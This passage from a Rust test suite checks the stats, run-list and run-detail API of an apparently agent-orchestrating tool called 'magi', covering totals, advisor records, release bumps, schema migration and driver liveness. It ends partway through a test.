18538 let body = &body[..body.find("\n}\n").expect("function end")];
18539 assert!(body.contains("s.seq += 1"));
18540 }
18541
18542 #[tokio::test]
18547 async fn stats_runs_unreadable_matches_health() {
18548 let f = Fixture::start().await;
18549 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18550 let broken = f.runs().join("20260902-140502-bad");
18551 std::fs::create_dir_all(&broken).expect("run dir");
18552 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18553
18554 let stats = f.get("/api/stats").await;
18555 let health = f.get("/api/health").await;
18556
18557 assert_eq!(stats.status, 200);
18558 assert_eq!(stats.json()["totals"]["runs"], 1);
18559 assert_eq!(stats.json()["runs_unreadable"], 1);
18560 assert_eq!(
18561 stats.json()["runs_unreadable"],
18562 health.json()["runs_unreadable"],
18563 "the dashboard and /api/health must never disagree about how many \
18564 runs could not be read"
18565 );
18566 }
18567
18568 #[tokio::test]
18569 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18570 let f = Fixture::start().await;
18571 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18572 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18573 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18574
18575 let totals = &f.get("/api/stats").await.json()["totals"];
18576 assert_eq!(totals["runs"], 3);
18577 assert_eq!(totals["merged"], 1);
18578 assert_eq!(totals["stalled"], 1);
18579 assert_eq!(totals["in_progress"], 1);
18580 assert_eq!(totals["blocked"], 0);
18583 assert_eq!(totals["ready"], 0);
18584 }
18585
18586 #[tokio::test]
18587 async fn stats_advisors_report_proposals_and_reflection() {
18588 use crate::advise::{Advice, AdvisorRecord, Reflection};
18589 use crate::verdict::Proposal;
18590
18591 let f = Fixture::start().await;
18592 let mut state = RunState::new(
18593 PathBuf::from("/repo/magi"),
18594 "main".to_owned(),
18595 "0123456789abcdef".to_owned(),
18596 "task".to_owned(),
18597 Config::default(),
18598 );
18599 state.id = "20260902-140501-a".to_owned();
18600 state.status = RunStatus::Merged;
18601 state.advice = Some(Advice {
18602 records: vec![
18603 AdvisorRecord {
18604 seat: "advisor-1".to_owned(),
18605 agent: "alpha".to_owned(),
18606 proposal: Some(Proposal {
18607 approach: "do it".to_owned(),
18608 key_tradeoff: "speed over memory".to_owned(),
18609 risks: Vec::new(),
18610 touches: Vec::new(),
18611 why_not_naive: "breaks under load".to_owned(),
18612 }),
18613 error: None,
18614 duration_ms: 0,
18615 reflection: Reflection::Strong,
18616 },
18617 AdvisorRecord {
18618 seat: "advisor-2".to_owned(),
18619 agent: "alpha".to_owned(),
18620 proposal: None,
18621 error: Some("timed out".to_owned()),
18622 duration_ms: 0,
18623 reflection: Reflection::Absent,
18624 },
18625 ],
18626 synthesis: Some("blended brief".to_owned()),
18627 });
18628 let dir = f.runs().join(&state.id);
18629 std::fs::create_dir_all(&dir).expect("run dir");
18630 std::fs::write(
18631 dir.join("run.json"),
18632 serde_json::to_string_pretty(&state).expect("serialize run"),
18633 )
18634 .expect("write run.json");
18635
18636 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18638 let alpha = advisors
18639 .as_array()
18640 .expect("an array")
18641 .iter()
18642 .find(|a| a["agent"] == "alpha")
18643 .expect("alpha row");
18644 assert_eq!(alpha["seated"], 2);
18645 assert_eq!(alpha["proposed"], 1);
18646 assert_eq!(alpha["absent"], 1);
18647 assert_eq!(alpha["strong"], 1);
18648 assert_eq!(alpha["faint"], 0);
18649 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18650 }
18651
18652 #[tokio::test]
18653 async fn stats_hides_agents_outside_the_roster_unless_all() {
18654 use crate::run::Candidate;
18655 let repo = TempDir::new().expect("repo dir");
18656 std::fs::write(
18657 repo.path().join("magi.toml"),
18658 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18659 )
18660 .expect("magi.toml");
18661 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18662 let mut state = RunState::new(
18663 PathBuf::from("/repo/magi"),
18664 "main".to_owned(),
18665 "0123456789abcdef".to_owned(),
18666 "task".to_owned(),
18667 Config::default(),
18668 );
18669 state.id = "20260902-140501-a".to_owned();
18670 state.status = RunStatus::Merged;
18671 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18672 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18673 "index": 0, "label": label.to_string(), "agent": agent,
18674 "branch": "b", "worktree": "/w",
18675 }))
18676 .expect("candidate");
18677 c.label = label;
18678 state.candidates.push(c);
18679 }
18680 let dir = f.runs().join(&state.id);
18681 std::fs::create_dir_all(&dir).expect("run dir");
18682 std::fs::write(
18683 dir.join("run.json"),
18684 serde_json::to_string_pretty(&state).expect("serialize run"),
18685 )
18686 .expect("write run.json");
18687
18688 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18689 v["agents"]
18690 .as_array()
18691 .expect("array")
18692 .iter()
18693 .map(|a| a["agent"].as_str().unwrap().to_owned())
18694 .collect()
18695 };
18696 let hidden = f.get("/api/stats").await.json();
18697 assert_eq!(agents_of(&hidden), ["keep"]);
18698 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18699 assert_eq!(hidden["totals"]["runs"], 1);
18700
18701 let all = f.get("/api/stats?all=true").await.json();
18702 assert_eq!(agents_of(&all).len(), 2);
18703 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18704 let keep_agent = all["agents"]
18706 .as_array()
18707 .unwrap()
18708 .iter()
18709 .find(|a| a["agent"] == "keep")
18710 .unwrap();
18711 assert_eq!(keep_agent["competitive_entered"], 1);
18712 assert_eq!(keep_agent["competitive_wins"], 0);
18713 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18714 assert_eq!(keep_agent["solo_entered"], 0);
18715 assert_eq!(keep_agent["solo_adopted"], 0);
18716 assert!(keep_agent["solo_adoption_rate"].is_null());
18717 }
18718
18719 #[tokio::test]
18720 async fn stats_release_bumps_split_clean_from_attention() {
18721 use crate::run::ReleaseBump;
18722
18723 let f = Fixture::start().await;
18724
18725 let mut clean = RunState::new(
18726 PathBuf::from("/repo/magi"),
18727 "main".to_owned(),
18728 "0123456789abcdef".to_owned(),
18729 "task".to_owned(),
18730 Config::default(),
18731 );
18732 clean.id = "20260902-140501-a".to_owned();
18733 clean.status = RunStatus::Merged;
18734 clean.release_bump = Some(ReleaseBump {
18735 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18736 version: Some("1.0.0".to_owned()),
18737 automerge_enabled: true,
18738 merged_directly: false,
18739 local: false,
18740 release: None,
18741 problem: None,
18742 action_required: None,
18743 skipped: None,
18744 });
18745
18746 let mut blocked = RunState::new(
18747 PathBuf::from("/repo/magi"),
18748 "main".to_owned(),
18749 "0123456789abcdef".to_owned(),
18750 "task".to_owned(),
18751 Config::default(),
18752 );
18753 blocked.id = "20260902-140502-b".to_owned();
18754 blocked.status = RunStatus::Merged;
18755 blocked.release_bump = Some(ReleaseBump {
18756 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18757 version: Some("1.0.1".to_owned()),
18758 automerge_enabled: false,
18759 merged_directly: false,
18760 local: false,
18761 release: None,
18762 problem: Some("checks red".to_owned()),
18763 action_required: Some("look at the PR".to_owned()),
18764 skipped: None,
18765 });
18766
18767 for state in [&clean, &blocked] {
18768 let dir = f.runs().join(&state.id);
18769 std::fs::create_dir_all(&dir).expect("run dir");
18770 std::fs::write(
18771 dir.join("run.json"),
18772 serde_json::to_string_pretty(state).expect("serialize run"),
18773 )
18774 .expect("write run.json");
18775 }
18776
18777 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18778 assert_eq!(bumps["merged"], 2);
18779 assert_eq!(bumps["recorded"], 2);
18780 assert_eq!(bumps["pr_opened"], 2);
18781 assert_eq!(bumps["automerge_enabled"], 1);
18782 assert_eq!(bumps["needs_attention"], 1);
18783 assert_eq!(bumps["clean"], 1);
18784 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18785 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18786 }
18787
18788 #[tokio::test]
18789 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18790 let f = Fixture::start().await;
18791 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18792
18793 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18794 assert_eq!(bumps["merged"], 1);
18795 assert_eq!(bumps["recorded"], 0);
18796 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18799 assert_eq!(bumps["automerge_rate"], Value::Null);
18802 assert_eq!(bumps["attention_rate"], Value::Null);
18803 }
18804
18805 #[tokio::test]
18806 async fn stats_queue_counts_come_from_the_live_queue() {
18807 let f = Fixture::start().await;
18808 let q = f.queue();
18809 let mut queued = Task::new(
18810 "queued task".to_owned(),
18811 "do it".to_owned(),
18812 PathBuf::from("/repo"),
18813 Source::Human,
18814 );
18815 q.put(&mut queued).expect("put queued");
18816 let mut held = Task::new(
18817 "held task".to_owned(),
18818 "do it later".to_owned(),
18819 PathBuf::from("/repo"),
18820 Source::Human,
18821 );
18822 held.hold_machine(Some("out of attempts".to_owned()));
18823 q.put(&mut held).expect("put held");
18824
18825 let queue = f.get("/api/stats").await.json()["queue"].clone();
18826 assert_eq!(queue["queued"], 1);
18827 assert_eq!(queue["held"], 1);
18828 assert_eq!(queue["running"], 0);
18829 assert_eq!(queue["done"], 0);
18830 assert_eq!(queue["failed"], 0);
18831 assert_eq!(queue["blocked"], 0);
18832 }
18833
18834 #[tokio::test]
18835 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18836 let f = Fixture::start().await;
18837 let stats = f.get("/api/stats").await;
18838 assert_eq!(stats.status, 200);
18839 assert_eq!(stats.json()["totals"]["runs"], 0);
18840 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18841 assert_eq!(stats.json()["runs_unreadable"], 0);
18842 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18843 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18844 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18845 assert_eq!(stats.json()["repo"], Value::Null);
18846 }
18847
18848 #[tokio::test]
18849 async fn stats_lists_every_repository_with_runs_recorded() {
18850 let f = Fixture::start().await;
18851 write_run_repo(
18852 &f.runs(),
18853 "20260902-140501-a",
18854 RunStatus::Merged,
18855 "/repos/a",
18856 );
18857 write_run_repo(
18858 &f.runs(),
18859 "20260902-140502-b",
18860 RunStatus::Merged,
18861 "/repos/a",
18862 );
18863 write_run_repo(
18864 &f.runs(),
18865 "20260902-140503-c",
18866 RunStatus::Blocked,
18867 "/repos/b",
18868 );
18869
18870 let stats = f.get("/api/stats").await;
18871 assert_eq!(stats.status, 200);
18872 assert_eq!(stats.json()["totals"]["runs"], 3);
18874 assert_eq!(stats.json()["repo"], Value::Null);
18875
18876 let repos = stats.json()["repos"].clone();
18877 let repos = repos.as_array().unwrap();
18878 assert_eq!(repos.len(), 2);
18879 assert_eq!(repos[0]["repo"], "/repos/a");
18881 assert_eq!(repos[0]["name"], "a");
18882 assert_eq!(repos[0]["runs"], 2);
18883 assert_eq!(repos[1]["repo"], "/repos/b");
18884 assert_eq!(repos[1]["runs"], 1);
18885 }
18886
18887 #[tokio::test]
18888 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18889 let f = Fixture::start().await;
18890 write_run_repo(
18891 &f.runs(),
18892 "20260902-140501-a",
18893 RunStatus::Merged,
18894 "/repos/a",
18895 );
18896 write_run_repo(
18897 &f.runs(),
18898 "20260902-140502-b",
18899 RunStatus::Blocked,
18900 "/repos/b",
18901 );
18902
18903 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18904 assert_eq!(stats.status, 200);
18905 assert_eq!(stats.json()["totals"]["runs"], 1);
18906 assert_eq!(stats.json()["totals"]["merged"], 1);
18907 assert_eq!(stats.json()["repo"], "/repos/a");
18908 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18911 assert_eq!(stats.json()["runs_unreadable"], 0);
18914 }
18915
18916 #[tokio::test]
18917 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18918 let f = Fixture::start().await;
18919 write_run_repo(
18920 &f.runs(),
18921 "20260902-140501-a",
18922 RunStatus::Merged,
18923 "/repos/a",
18924 );
18925 write_run_repo(
18926 &f.runs(),
18927 "20260902-140502-b",
18928 RunStatus::Merged,
18929 "/repos/b",
18930 );
18931
18932 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18933 let json = f.get(uri).await.json();
18934 let daily = json["daily"].as_array().expect("daily is an array");
18935 assert_eq!(daily.len(), 30);
18936 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18937 let mut sorted = dates.clone();
18938 sorted.sort();
18939 assert_eq!(dates, sorted);
18940 for d in daily {
18941 assert_eq!(
18942 d["merged"].as_u64().unwrap()
18943 + d["ready"].as_u64().unwrap()
18944 + d["other"].as_u64().unwrap(),
18945 d["runs"].as_u64().unwrap()
18946 );
18947 }
18948 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18949 }
18950 }
18951
18952 #[tokio::test]
18953 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18954 let f = Fixture::start().await;
18955 write_run_repo(
18956 &f.runs(),
18957 "20260902-140501-a",
18958 RunStatus::Merged,
18959 "/repos/a",
18960 );
18961
18962 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18963 assert_eq!(stats.status, 404);
18964 }
18965
18966 #[tokio::test]
18967 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18968 let f = Fixture::start().await;
18969 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18970
18971 let summary = f.get("/api/runs").await.json();
18972 let row = &summary[0];
18973 assert_eq!(row["short"], "a1b2");
18974 assert_eq!(row["status"], "ready");
18975 assert_eq!(row["done"], true);
18976 assert_eq!(row["title"], "Add a web UI");
18977 assert_eq!(row["repo_name"], "magi");
18978 assert_eq!(row["judges"], 3);
18979 assert_eq!(row["winner"], Value::Null);
18980 assert_eq!(row["reviews"], 0);
18981
18982 let detail = f.get("/api/runs/a1b2").await;
18985 assert_eq!(detail.status, 200);
18986 assert_eq!(detail.json()["base_branch"], "main");
18987 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18988 }
18989
18990 #[tokio::test]
18998 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18999 let f = Fixture::start().await;
19000
19001 let mut none_run = RunState::new(
19002 PathBuf::from("/repo/magi"),
19003 "main".to_owned(),
19004 "0123456789abcdef".to_owned(),
19005 "Add a web UI".to_owned(),
19006 Config::default(),
19007 );
19008 none_run.id = "20260902-140503-none".to_owned();
19009 none_run.status = RunStatus::Ready;
19010 none_run.merge = Some(crate::run::MergeOutcome {
19011 mode: crate::config::MergeMode::None,
19012 ok: true,
19013 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19014 empty: false,
19015 });
19016 write_state(&f.runs(), &none_run);
19017
19018 let mut pr_run = RunState::new(
19019 PathBuf::from("/repo/magi"),
19020 "main".to_owned(),
19021 "0123456789abcdef".to_owned(),
19022 "Add a web UI".to_owned(),
19023 Config::default(),
19024 );
19025 pr_run.id = "20260902-140504-prcl".to_owned();
19026 pr_run.status = RunStatus::Ready;
19027 pr_run.merge = Some(crate::run::MergeOutcome {
19028 mode: crate::config::MergeMode::Pr,
19029 ok: false,
19030 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19031 empty: false,
19032 });
19033 write_state(&f.runs(), &pr_run);
19034
19035 let summary = f.get("/api/runs").await.json();
19036 let rows: std::collections::HashMap<&str, &Value> = summary
19037 .as_array()
19038 .expect("an array")
19039 .iter()
19040 .map(|r| (r["id"].as_str().expect("an id"), r))
19041 .collect();
19042 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19043 assert_eq!(
19044 rows[none_run.id.as_str()]["unmerged_by_design"],
19045 true,
19046 "a mode-none Ready must be flagged in the list"
19047 );
19048 assert_eq!(
19049 rows[pr_run.id.as_str()]["unmerged_by_design"],
19050 false,
19051 "a Ready reached by a closed pull request is a different case"
19052 );
19053
19054 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19055 assert_eq!(none_detail["status"], "ready");
19056 assert_eq!(none_detail["unmerged_by_design"], true);
19057
19058 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19059 assert_eq!(pr_detail["unmerged_by_design"], false);
19060 }
19061
19062 #[tokio::test]
19067 async fn run_core_survives_unavailable_related_stores() {
19068 let home = TempDir::new().unwrap();
19069 let ui = delta_test_ui(home.path());
19070 let state = RunState::new(
19071 PathBuf::from("/repo/magi"),
19072 "main".into(),
19073 "0123456789abcdef".into(),
19074 "Useful core instructions".into(),
19075 Config::default(),
19076 );
19077 let dir = ui.runs.join(&state.id);
19078 std::fs::create_dir_all(&dir).unwrap();
19079 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19080 std::fs::write(ui.questions.root(), "unavailable").unwrap();
19081 std::fs::write(ui.queue.root(), "unavailable").unwrap();
19082 let core = run_core(State(ui.clone()), Path(state.id.clone()))
19083 .await
19084 .unwrap()
19085 .0;
19086 assert_eq!(core.state.instruction, state.instruction);
19087 assert_eq!(core.state.updated_at, state.updated_at);
19088 assert!(core.task.is_none());
19089 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19090 }
19091
19092 #[tokio::test]
19093 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19094 let f = Fixture::start().await;
19095 let id = "20260902-140502-bbbb";
19099 let mut state = RunState::new(
19100 PathBuf::from("/repo/magi"),
19101 "main".to_owned(),
19102 "0123456789abcdef".to_owned(),
19103 "Add a web UI".to_owned(),
19104 Config::default(),
19105 );
19106 state.id = id.to_owned();
19107 state.status = RunStatus::Judging;
19108 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19109 let dir = f.runs().join(id);
19110 std::fs::create_dir_all(&dir).expect("run dir");
19111 std::fs::write(
19112 dir.join("run.json"),
19113 serde_json::to_string_pretty(&state).expect("serialize run"),
19114 )
19115 .expect("write run.json");
19116
19117 let cold = f.get(&format!("/api/runs/{id}")).await.json();
19123 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19124 assert_eq!(cold["live"], "unknown", "{cold}");
19125
19126 write_daemon(f.home.path(), Timestamp::now());
19129 let warm = f.get(&format!("/api/runs/{id}")).await.json();
19130 assert_eq!(warm["live"], "live", "{warm}");
19131 }
19132
19133 #[test]
19134 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19135 let home = tempfile::tempdir().expect("temp home");
19136 let runs = home.path().join("runs");
19137 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19138 let mut state = RunState::new(
19139 PathBuf::from("/repo/magi"),
19140 "main".to_owned(),
19141 "0123456789abcdef".to_owned(),
19142 "Generated review context, not authored task criteria".to_owned(),
19143 Config::default(),
19144 );
19145 state.origin = origin;
19146 state.status = RunStatus::Blocked;
19147 state.driver_exited = false;
19149 state.gate_ran = true;
19150 let expected = serde_json::to_value(&state).expect("serialize current state");
19151 let mut legacy = expected.clone();
19152 legacy["schema"] = serde_json::json!(13);
19153 legacy.as_object_mut().unwrap().remove("task_instruction");
19154 let dir = runs.join(&state.id);
19155 std::fs::create_dir_all(&dir).expect("run dir");
19156 let path = dir.join("run.json");
19157 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19158 std::fs::write(&path, &body).expect("write legacy run");
19159
19160 for loaded in [
19161 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19162 read_run(&runs, &state.id).expect("web migration"),
19163 ] {
19164 assert_eq!(loaded.schema, crate::run::SCHEMA);
19165 assert!(loaded.task_instruction.is_none());
19166 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19167 }
19168 assert_eq!(runs_unreadable(&runs), 0);
19169 assert_eq!(std::fs::read(&path).unwrap(), body);
19170 }
19171 }
19172
19173 #[tokio::test]
19176 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19177 let f = Fixture::start().await;
19178 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19179 let mut state = RunState::new(
19180 PathBuf::from("/repo/magi"),
19181 "main".to_owned(),
19182 "0123456789abcdef".to_owned(),
19183 "Add a web UI".to_owned(),
19184 Config::default(),
19185 );
19186 state.id = id.to_owned();
19187 state.origin = origin;
19188 let mut value = serde_json::to_value(&state).expect("serialize run");
19189 if let Some(schema) = schema {
19190 value["schema"] = serde_json::json!(schema);
19191 value.as_object_mut().unwrap().remove("origin");
19192 }
19193 let dir = f.runs().join(id);
19194 std::fs::create_dir_all(&dir).expect("run dir");
19195 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19196 };
19197 write(
19198 "20260930-092817-ec34",
19199 Some(crate::run::Origin::from_agent_env(
19200 Some(("4a7b".to_owned(), "chat".to_owned())),
19201 None,
19202 )),
19203 None,
19204 );
19205 write("20260930-092817-0ld1", None, Some(12));
19206
19207 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19208 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19209 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19210
19211 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19212 assert_eq!(
19213 old["origin_label"], "origin unknown (started before origins were recorded)",
19214 "{old}"
19215 );
19216 assert!(old["origin"].is_null(), "{old}");
19217
19218 let list = f.get("/api/runs").await.json();
19219 let labels: Vec<_> = list
19220 .as_array()
19221 .unwrap()
19222 .iter()
19223 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19224 .collect();
19225 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19226 }
19227
19228 #[tokio::test]
19235 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19236 let f = Fixture::start().await;
19237 let id = "20260922-090000-cccc";
19238 let mut state = RunState::new(
19239 PathBuf::from("/repo/magi"),
19240 "main".to_owned(),
19241 "0123456789abcdef".to_owned(),
19242 "Review only".to_owned(),
19243 Config::default(),
19244 );
19245 state.id = id.to_owned();
19246 state.status = RunStatus::Reviewing;
19247 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19248 state.driver_pid = Some(std::process::id());
19254 state.driver_started_at = Some(
19255 crate::proc::process_started_at(std::process::id())
19256 .expect("this test process's own start time must be queryable"),
19257 );
19258 let dir = f.runs().join(id);
19259 std::fs::create_dir_all(&dir).expect("run dir");
19260 std::fs::write(
19261 dir.join("run.json"),
19262 serde_json::to_string_pretty(&state).expect("serialize run"),
19263 )
19264 .expect("write run.json");
19265
19266 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19267 assert_eq!(detail["live"], "live", "{detail}");
19268 }
19269
19270 #[tokio::test]
19276 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19277 let f = Fixture::start().await;
19278 let id = "20260922-090100-dddd";
19279 let mut state = RunState::new(
19280 PathBuf::from("/repo/magi"),
19281 "main".to_owned(),
19282 "0123456789abcdef".to_owned(),
19283 "Review only".to_owned(),
19284 Config::default(),
19285 );
19286 state.id = id.to_owned();
19287 state.status = RunStatus::Reviewing;
19288 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19289 state.driver_pid = Some(std::process::id());
19294 state.driver_started_at = Some("1".to_owned());
19295 let dir = f.runs().join(id);
19296 std::fs::create_dir_all(&dir).expect("run dir");
19297 std::fs::write(
19298 dir.join("run.json"),
19299 serde_json::to_string_pretty(&state).expect("serialize run"),
19300 )
19301 .expect("write run.json");
19302
19303 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19304 assert_eq!(detail["live"], "dead", "{detail}");
19305 }
19306
19307 #[test]
19311 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19312 let mk = |id: &str, pid: Option<u32>| {
19313 let mut s = RunState::new(
19314 PathBuf::from("/repo/magi"),
19315 "main".to_owned(),
19316 "0123456789abcdef".to_owned(),
19317 "Add a web UI".to_owned(),
19318 Config::default(),
19319 );
19320 s.id = id.to_owned();
19321 s.driver_pid = pid;
19322 s.driver_started_at = Some("1790000000".to_owned());
19323 s
19324 };
19325 let states = vec![
19326 mk("20260902-140502-aaaa", Some(77)),
19327 mk("20260902-140502-bbbb", Some(77)),
19328 mk("20260902-140502-cccc", Some(77)),
19329 mk("20260902-140502-dddd", None),
19330 ];
19331 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19332 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19333 let sup: HashMap<String, String> = [(
19334 "20260902-140502-aaaa".to_owned(),
19335 "20260902-140502-cccc".to_owned(),
19336 )]
19337 .into();
19338
19339 let status_calls = std::cell::Cell::new(0);
19340 let identity_calls = std::cell::Cell::new(0);
19341 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19342 |_| {
19343 status_calls.set(status_calls.get() + 1);
19344 Some(true)
19345 },
19346 |_| {
19347 identity_calls.set(identity_calls.get() + 1);
19348 Some("1790000000".to_owned())
19349 },
19350 ));
19351 let rows = summarize(
19352 states,
19353 &open,
19354 &claimed,
19355 &sup,
19356 |p| probe.borrow_mut().status(p),
19357 |p| probe.borrow_mut().started_at(p),
19358 );
19359
19360 assert_eq!(status_calls.get(), 1, "one pid, one status query");
19361 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19362 assert_eq!(rows.len(), 4);
19363 assert!(!rows[0].waiting && rows[1].waiting);
19364 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19365 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19366 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19367 assert_eq!(rows[1].superseded_by, None);
19368 }
19369
19370 #[test]
19371 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19372 let mut state = RunState::new(
19373 PathBuf::from("/repo/magi"),
19374 "main".to_owned(),
19375 "0123456789abcdef".to_owned(),
19376 "Review only".to_owned(),
19377 Config::default(),
19378 );
19379 state.id = "20260922-090200-dead".to_owned();
19380 state.status = RunStatus::Reviewing;
19381 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19382 .expect("serialize list row");
19383 assert_eq!(row["status"], "reviewing");
19384 assert_eq!(row["display_status"], "stale");
19385 assert_eq!(row["live"], "dead", "{row}");
19386 assert!(!row["done"].as_bool().unwrap());
19387 }
19388
19389 #[test]
19390 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19391 use crate::run::Liveness::{Dead, Live, Unknown};
19392 let mut state = RunState::new(
19393 PathBuf::from("/repo/magi"),
19394 "main".to_owned(),
19395 "abc".to_owned(),
19396 "Review only".to_owned(),
19397 Config::default(),
19398 );
19399 for (status, parked, node, waiting, live, expected) in [
19400 (
19401 RunStatus::Judging,
19402 true,
19403 "github-text",
19404 false,
19405 Dead,
19406 "parked",
19407 ),
19408 (RunStatus::Judging, false, "park", false, Dead, "stale"),
19409 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19410 (
19411 RunStatus::Judging,
19412 true,
19413 "github-text",
19414 true,
19415 Dead,
19416 "waiting",
19417 ),
19418 (
19419 RunStatus::Judging,
19420 false,
19421 "github-text",
19422 true,
19423 Dead,
19424 "waiting",
19425 ),
19426 (
19427 RunStatus::Judging,
19428 false,
19429 "github-text",
19430 false,
19431 Dead,
19432 "stale",
19433 ),
19434 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19435 (RunStatus::Judging, true, "park", false, Live, "judging"),
19436 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19437 (RunStatus::Merged, true, "park", false, Dead, "merged"),
19438 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19439 (
19440 RunStatus::Blocked,
19441 true,
19442 "github-text",
19443 true,
19444 Dead,
19445 "waiting",
19446 ),
19447 ] {
19448 state.status = status;
19449 state.parked = parked;
19450 state.events.clear();
19451 state.event(
19452 "park",
19453 "an earlier park does not determine the latest state",
19454 );
19455 state.event(node, "message is not used for classification");
19456 let summary = RunSummary::of(&state, waiting, live);
19457 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19458 assert_eq!(
19459 summary.display_status, expected,
19460 "{status:?}/{node}/{live:?}"
19461 );
19462 assert_eq!(detail.display_status, summary.display_status);
19463 assert_eq!(detail.waiting, summary.waiting);
19464 }
19465 state.status = RunStatus::Judging;
19466 state.parked = false;
19467 state.events.clear();
19468 assert_eq!(run_display_status(&state, false, Dead), "stale");
19469 }
19470
19471 #[test]
19472 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19473 use crate::run::Liveness::{Dead, Live, Unknown};
19474 let mut state = RunState::new(
19475 PathBuf::from("/repo/magi"),
19476 "main".to_owned(),
19477 "abc".to_owned(),
19478 "Badge".to_owned(),
19479 Config::default(),
19480 );
19481 for (status, waiting, live, superseded, expected) in [
19482 (RunStatus::Gating, false, Dead, false, "stale"),
19483 (RunStatus::Gating, false, Dead, true, "superseded"),
19484 (RunStatus::Gating, false, Unknown, true, "superseded"),
19485 (RunStatus::Gating, true, Dead, true, "superseded"),
19486 (RunStatus::Gating, true, Dead, false, "waiting"),
19487 (RunStatus::Gating, false, Unknown, false, "gating"),
19488 (RunStatus::Gating, false, Live, true, "gating"),
19489 (RunStatus::Gating, true, Live, true, "waiting"),
19490 (RunStatus::Merged, false, Dead, true, "merged"),
19491 (RunStatus::Blocked, false, Dead, true, "blocked"),
19492 ] {
